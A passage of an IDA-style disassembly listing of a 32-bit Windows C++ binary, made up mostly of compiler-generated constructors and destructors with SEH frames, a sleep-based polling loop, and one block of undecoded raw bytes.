var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A10	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A80	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A80	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AF0	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417AF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B10	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B90	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BB0	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417BB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BD0	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C70	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D10	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DE0	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EA0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417EA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417ED0	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417ED0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F00	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FC0	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418130	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182E0	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_4182E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418310	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418310	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418340	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418340
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418340	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4183E0	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_4183F8:				; CODE XREF: sub_4183E0+E4j
		test	bl, bl
		jnz	loc_4184CE
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41840E
		mov	bl, 1
		jmp	short loc_418422
; ---------------------------------------------------------------------------


loc_41840E:				; CODE XREF: sub_4183E0+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418429


loc_418422:				; CODE XREF: sub_4183E0+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418429:				; CODE XREF: sub_4183E0+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4184AE


loc_418464:				; CODE XREF: sub_4183E0+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41848B
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_41848B:				; CODE XREF: sub_4183E0+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418464


loc_4184AE:				; CODE XREF: sub_4183E0+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_4183F8
		test	bl, bl
		jz	short loc_4184DB


loc_4184CE:				; CODE XREF: sub_4183E0+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4184DB:				; CODE XREF: sub_4183E0+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_4183E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418540	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418540
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_418580
		push	eax
		jmp	short loc_418585
; ---------------------------------------------------------------------------


loc_418580:				; CODE XREF: sub_418540+3Bj
		push	offset byte_446F30


loc_418585:				; CODE XREF: sub_418540+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_41859E
		push	edi
		jmp	short loc_4185A3
; ---------------------------------------------------------------------------


loc_41859E:				; CODE XREF: sub_418540+59j
		push	offset byte_446F30


loc_4185A3:				; CODE XREF: sub_418540+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418540	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE93ACE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E070E8h, 8ED8E871h
		dd 8E8DFFFEh, 1BBEh, 0FE9201E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93FEh, 15FBE8Dh, 0CF8B0000h, 0FE972FE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8C03E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D98h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 2E8CF8Bh,	8BFFFE95h, 8B37E8CFh, 868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0AFE8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 25E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8DFBh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9296h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9917E8h, 74C084FFh
		dd 90006A08h, 8217ADE8h, 9816E877h, 8E8DFFFEh, 168h, 0FE9103E8h
		dd 448D50FFh, 0E8501424h, 0FFFE9936h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 9908E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8B0CE8FFh, 9E8DFFFEh, 8EF5Dh, 0ADE8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8CA2E800h,	8E8DFFFEh, 1D29h, 0FE9642E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9399h, 0F2858E8Dh, 0B6E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F96E800h,	8E8DFFFEh, 8F3A2h, 0FE9A76E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96D3h, 8FE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97D9E800h,	0CF8BFFFEh, 0FE88BEE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9475h, 0FB058E8Dh, 0EDE80009h, 8DFFFE93h
		dd 9FAD38Eh, 9752E800h,	8E8DFFFEh, 9FB93h, 0FE91ACE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9881h, 0FBFF8E8Dh, 16E80009h
		dd 8BFFFE94h, 8A91E8CEh, 8E8DFFFEh, 8F270h, 61E8F88Bh
		dd 8BFFFE8Fh, 8F5AE8CBh, 29E8FFFEh, 0E8FFFE93h,	7169BC34h
		dd 42468A90h, 0B74C084h, 1528E8Dh, 0D3E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_4188F0:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418910:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4189B0	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_4189B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4189F0	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_4189F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A60	proc near		; CODE XREF: sub_401F4Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D84
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AA0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D84
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AD0	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418AD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B40	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B60	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418B60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



